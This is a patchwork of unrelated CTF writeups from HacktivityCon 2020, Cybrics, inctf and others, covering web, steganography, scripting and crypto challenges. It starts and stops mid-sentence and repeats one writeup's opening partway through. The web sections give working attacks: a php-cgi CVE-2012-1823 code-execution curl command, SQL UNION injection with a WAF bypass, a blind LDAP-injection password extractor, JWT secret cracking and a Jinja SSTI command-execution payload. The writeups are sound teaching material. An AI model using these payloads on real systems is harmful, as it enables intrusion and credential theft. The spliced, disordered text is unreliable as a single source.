the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
### Spy vs. Spy > Challenge statement:> > Antonio Prohías was a cartoonist known primarily as the creator of the satirical comic strip Spy vs. Spy for Mad magazine. It wasn't until after 1997 when the comics changed from black and white to full color. Solution:1. after downloaded the image, i try to translate the morse code in the image, but it wasn't the flag. 2. after that i tried using 'zsteg, strings, and exiv2 or exiftool to get the flag, but couldn't find it. 3. Later i used 'stegsolve' to find the flag within the picture using image filter in stegsolve ```terminal command: java -jar stegsolve.jar``` ![Spy result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/spy-result.png?raw=true) 4. we found the flag is 'flag{two_MAD_spies}' FLAG: **flag{two_MAD_spies}**
Just answer 100 simple questions in the row about emojis and you will get the flag, this is quite easy lol ![1](https://github.com/maloleg/Cybrics2020_quiz/blob/master/1.png?raw=true) ok, now jokes aside We will use lovely pyautogui just because we don't know how to use telegram api and you know, we wont be stuffy. Bot want's us to make a "top" of emojis - so we need to determine it we will use dictionary in python (or a map if you are more C++ alike guy) So we will define what bot want's us: best or worst emoji: ~~~if s3[2][17] == 'b': best = 1 else: best = 0~~~ where s3 - string from message with 'best' or 'worst' phrase so then depending on ansvers should constantly recorrecting our dict just by changing places of correct answer with something in the list of given by the bot emojis: ~~~if best == 1: max = -1 for i in range(3, len(s4)): if dict[s4[i][2:len(s4[i])]] > max: max = dict[s4[i][2:len(s4[i])]] id = i temp = dict[s4[2 + number][2:len(s4[2 + number])]] dict[s4[2 + number][2:len(s4[2 + number])]] = max dict[s4[id][2:len(s4[id])]] = temp else: min = 10000 for i in range(3, len(s4)): if dict[s4[i][2:len(s4[i])]] < min: min = dict[s4[i][2:len(s4[i])]] id = i temp = dict[s4[2 + number][2:len(s4[2 + number])]] dict[s4[2 + number][2:len(s4[2 + number])]] = min dict[s4[id][2:len(s4[id])]] = temp~~~ and we also need to check what is best possible emoji according to our already collected data: ~~~for i in range(3, len(s3)): if dict.get(s3[i][2:len(s3[i])]) == None: dict[s3[i][2:len(s3[i])]] = count print('count = ', count) count += 1 check = 0 if check == 1: if best == 1: print('you better choose', end=' ') max = 0 for i in range(3, len(s3)): if dict[s3[i][2:len(s3[i])]] > max: max = dict[s3[i][2:len(s3[i])]] id = i print(id-2) else: print('you better choose', end=' ') min = 10000 for i in range(3, len(s3)): if dict[s3[i][2:len(s3[i])]] < min: min = dict[s3[i][2:len(s3[i])]] id = i print(id - 2) id2 = id - 2~~~ and the final thing: we need to check what answer was right, i did a function like that for it: ~~~def right_number(up_amount, down_amount): a = [[907, 945], [869, 908, 944], [832, 870, 907, 945], [793, 831, 869, 908, 945]] b = [177, 215, 253, 291] #those lists of pixels are just for my position of telegram client result = 0 for i in range(up_amount): pyautogui.moveTo(309, a[up_amount-2][i] - b[down_amount-2], 0.1) if get_pixel_colour(pyautogui.position().x, pyautogui.position().y) > 205 and get_pixel_colour(pyautogui.position().x, pyautogui.position().y) < 225: result = i + 1 break return result~~~ And we also need to click on emojis, check RGB of pixels, copy text of messages and so on: ~~~def get_pixel_colour(i_x, i_y): return pyautogui.screenshot(region=(i_x, i_y, 1, 1)).getcolors()[0][1][2] def copy_and_paste_to_python(): pyautogui.moveTo(650, 850, 0.01) pyautogui.click(button='right') pyautogui.moveTo(660, 860, 0.2) pyautogui.click() time.sleep(0.1) pyautogui.click(button='right') pyautogui.moveTo(670, 870, 0.2) time.sleep(0.2) pyautogui.click() time.sleep(0.1) pyautogui.click() pyautogui.moveTo(900, 988, 0.1) pyautogui.click() time.sleep(0.1) pyautogui.hotkey('ctrl', 'v') def click_on(amount, number): a = [[907, 945], [869, 908, 944], [832, 870, 907, 945], [793, 831, 869, 908, 945]] pyautogui.moveTo(309, a[amount - 2][number - 1], 0.1) pyautogui.click() ~~~ oh and bot sometimes stops working, so i did check on it as well to restart it: ~~~if time2 - time1 > 20: pyautogui.moveTo(348, 1018, 0.1) pyautogui.click() pyautogui.typewrite('/start') time.sleep(0.1) pyautogui.press('enter') s3 = [] s4 = [] count = 0 id2 = 0 ss = '' new_size = 3 param = 0 id = 0 break~~~ ![look at this beauty and say if using telegram api is better :)](https://github.com/maloleg/Cybrics2020_quiz/blob/master/2.gif?raw=true) so after all work and about an hour of waiting it answering questions and learning we got our leet flag: cybrics{AL13N5_L0v3_5m1l35_AnD_3M0J132} Full python script is on this github repository
### Cold War> Challenge statement:> > A geopolitical activity that is pursued through economic and political actions, propaganda, acts of espionage or proxy wars and without direct military action is known as a Cold War. This type of war does not refer to conflict of seasons, but this challenge might. Solution:1. after downloaded the text file, we realized this challenge is **whitespace steganography**. 2. we can use SNOW program in windows to decrypt it [SNOW Program](http://www.darkside.com.au/snow/) or stegsnow in linux to decrypt it ```windows command: SNOW.EXE -C cold_war.txt linux: stegsnow -C cold_war.txt flag{do_not_use_merriam_webster}``` ![cold-war result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/cold-war.png?raw=true) 3. we found the flag is 'flag{do_not_use_merriam_webster}' FLAG: **flag{do_not_use_merriam_webster}**
### Chess Cheater> Challenge statement:> > I didn't think he was a genius, I knew he had to be a cheat. He was always sitting down, he never got up. Batting his eyelids in the most unnatural way. Then I understood it.>> Note, this flag is not in the usual format. Solution:1. after downloaded the wav file (morse.wav), we realized this challenge is morse code audio. 2. we can use online morse code translator to decode it [Morse Code Decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) ![chess-cheater result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/chess-cheater.png?raw=true) 3. we found the flag is 'ARCANGELORICCIARDI' FLAG: **ARCANGELORICCIARDI**
## Description```You are given an ip and a port to nc tonc 34.74.30.191 1337```## Solution* On connecting to the server we see that we are asked to solve a proof of work by calculating the first 4 characters of a SHA256 hash. So using hashlib we can bruteforce that. Here's my script: ``` python def solve_pow(r): for i in string.digits + string.ascii_letters: for j in string.digits + string.ascii_letters: for k in string.digits + string.ascii_letters: for l in string.digits + string.ascii_letters: prefix = str(i)+str(j)+str(k)+str(l) new_hash = hashlib.sha256(str(prefix+suffix).encode()).hexdigest() if new_hash == target_hash: print("The prefix is",prefix) return prefix ```* After solving the proof of work we are shown the actual challenge which is as shown: ``` b'There exists a coin minting machine at Bi0S which is known for its extermely fast minting process. However out of every batch (N coins) it produces one coin is faulty (have a different weight compared to the other N-1 coins). You can get information of the xor of the weight of the coins from index i to index j (both included) by communicating with the minting machine. Find the faulty coin (coin with different weight) with minimum number of queries, as the minting machine has better things to do than answer your questions. Multiple batches are produced by the minting machine and it is gaurenteed that in each batch there is only one defective coin. Your query should be in the format "i j" (without the quotes) where both i and j should lie in the range [0, N). You can report the correct position (Of course after solving it) in the format "! index" (without the quotes) where index lies in the range [0, N). If you correctly identify the faulty coin for a batch, you will continue to the next batch. If a query is given in the wrong format or give a wrong answer you will be rejected.\n' b'\n' b'The number of coins in this batch are 14\n' b'Go ahead, ask some queries\n' ```* So the server allows us to ask queries and returns the xors of the weight of all coins in the inculsive range of our query. So if our query was `1 3` it gives the value of `w1 ^ w2 ^ w3`* Hence I thought of using a binary search mechanism to solve this. Also we know the weight of all coins except the defective one is the same.* Now, lets assume we enter the query `0 5` then if the defective coin is not in this range then we get `0` Because `w0^w1^w2^w3^w4^w5 = 0` (since all weights are equal) However if we get a non zero value then we know the defective coin is in that range.* But the flaw with this logic is that if the length of the range is odd, then we get a non-zero answer. Example: If the coin is not in range `0 4` we still get a non zero answer. Because `w0^w1^w2^w3^w4 != 0` but this gives us the value of the actual weight of the coin.* Hence to get the other condition for the binary seach we need to find the weight of a non-defective coin. To do that we can send in the query `0 0` and `1 1`. If we get the same result for both then thats the weight of a non-defective coin. If the results vary then we can send a third query `2 2` and that would be the weight of a non defective coin.* Here's the script to find the non-defective weight: ```python def legit_weight(r,n): r.sendline('0 0') r.recvuntil('is ') x = int(str(r.recvuntil('\n'))[2:-3]) # Here x is the result of query 0 0 r.sendline('1 1') r.recvuntil('is ') y = int(str(r.recvuntil('\n'))[2:-3]) # Here y is the result of query 1 1 if x == y: return x else: r.sendline('2 2 ') r.recvuntil('is ') z = int(str(r.recvuntil('\n'))[2:-3]) # Here z is the result of query 2 2 if x == z: return z else: return y ```* Now that we know the actual weight of a coin. We can start the binary search such that: - If the range length is even and we get the value `0` , the defective coin is not in that range. - If the range length is odd and we get the value of a non-defective coin , then the defective coin is not in the range. - Finally if the range is reduced to `x x+1` we send a query for `x x`. - If the value of `x x` is that of a non-defective coin , then x+1 is the defective coin. - If the value of `x x` is not that of a non-defective coin, then x is the defective coin. * Using the above logic and pwntools we can script the solution. Here's my final script:```pythonfrom pwn import *import hashlibimport stringimport random def solve_pow(r): r.recvuntil('+') suffix = str(r.recvuntil(') '))[2:-3] r.recvuntil('= ') target_hash = str(r.recvuntil('\n'))[2:-3] r.recvline() for i in string.digits + string.ascii_letters: for j in string.digits + string.ascii_letters: for k in string.digits + string.ascii_letters: for l in string.digits + string.ascii_letters: prefix = str(i)+str(j)+str(k)+str(l) new_hash = hashlib.sha256(str(prefix+suffix).encode()).hexdigest() if new_hash == target_hash: return prefix def legit_weight(r,n): r.sendline('0 0') r.recvuntil('is ') x = int(str(r.recvuntil('\n'))[2:-3]) r.sendline('1 1') r.recvuntil('is ') y = int(str(r.recvuntil('\n'))[2:-3]) if x == y: return x else: r.sendline('2 2 ') r.recvuntil('is ') z = int(str(r.recvuntil('\n'))[2:-3]) if x == z: return z else: return y def coin_finder(r): r.recvuntil('are ') n = int(str(r.recvuntil('\n'))[2:-3]) r.recvline() low = 0 high = n weight = legit_weight(r,n) print('weight',weight) while True: mid =(high+low)//2 r.sendline(str(low) + ' ' + str(mid)) r.recvuntil('is ') x = int(str(r.recvuntil('\n'))[2:-3]) if x == 0: if low == mid: r.sendline(str(low)+' '+str(mid)) r.recvuntil('is ') p = int(str(r.recvuntil('\n'))[2:-3]) if p==weight: return mid+1 else: return mid low = mid elif x == weight: if low == mid: r.sendline(str(low)+' '+str(mid)) r.recvuntil('is ') p = int(str(r.recvuntil('\n'))[2:-3]) if p == weight: return mid+1 else: return mid low = mid else: high = mid if low == mid: r.sendline(str(low)+ ' '+ str(mid)) r.recvuntil('is ') p = int(str(r.recvuntil('\n'))[2:-3]) if p == weight: return mid+1 else: return mid r = remote('34.74.30.191',1337,level='debug')prefix = solve_pow(r)r.sendline(prefix)print(r.recvline())print(r.recvline())while True: r.sendline('! ' + str(coin_finder(r))) print(r.recvline())```* After submitting the value of the defective coin around 8 times, we get the flag. `inctf{1f_y0u_c4n_dr3am_y0u_c4n_s34rch_1n_logn}`
For this challenge, you are given a single Python AST/CST file. The first task is to convert it to Python code. Luckily, the file is a [LibCST](https://libcst.readthedocs.io/), not an [AST](https://docs.python.org/3/library/ast.html), so we can convert it byte for byte into code. We get this code:```import binascii plaintext = "REDACTED" def exor(a, b): temp = "" for i in range(n): if (a[i] == b[i]): temp += "0" else: temp += "1" return temp def BinaryToDecimal(binary): string = int(binary, 2) return string # encryptionPT_Ascii = [ord(x) for x in plaintext] PT_Bin = [format(y, '08b') for y in PT_Ascii]PT_Bin = "".join(PT_Bin) n = 26936K1 = ... # length n string of 0s and 1sK2 = ... # length n string of 0s and 1s L1 = PT_Bin[0:n]R1 = PT_Bin[n::] f1 = exor(R1, K1)R2 = exor(f1, L1)L2 = R1 f2 = exor(R2, K2)R3 = exor(f2, L2)L3 = R2 R3 = ... # length n string of 0s and 1sL3 = ... # length n string of 0s and 1s cipher = L3+R3 # decryption (redacted)plaintext = L6+R6plaintext = int(plaintext, 2)plaintext = binascii.unhexlify('%x' % plaintext)print(plaintext)``` We are given K1, K2, L3, and R3, and we have to find L1 and R1. Then, we can concatenate L1 and R1, convert it to ASCII, and retrieve the flag. `exor` is the classical XOR operation, so we can use the fact that `(a ^ b) ^ c == a ^ (b ^ c)`, to figure out f1, f2, L2, R2. For example, ```R3 = f2 ^ L2R3 = R2 ^ K2 ^ L2R3 = R2 ^ K2 ^ R1R3 = L3 ^ K2 ^ R1R1 = L3 ^ K2 ^ R3``` We can use a similar method to reverse L1. **Flag:** `3k{almost_done_shizzle_up_my_nizzle}`
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the 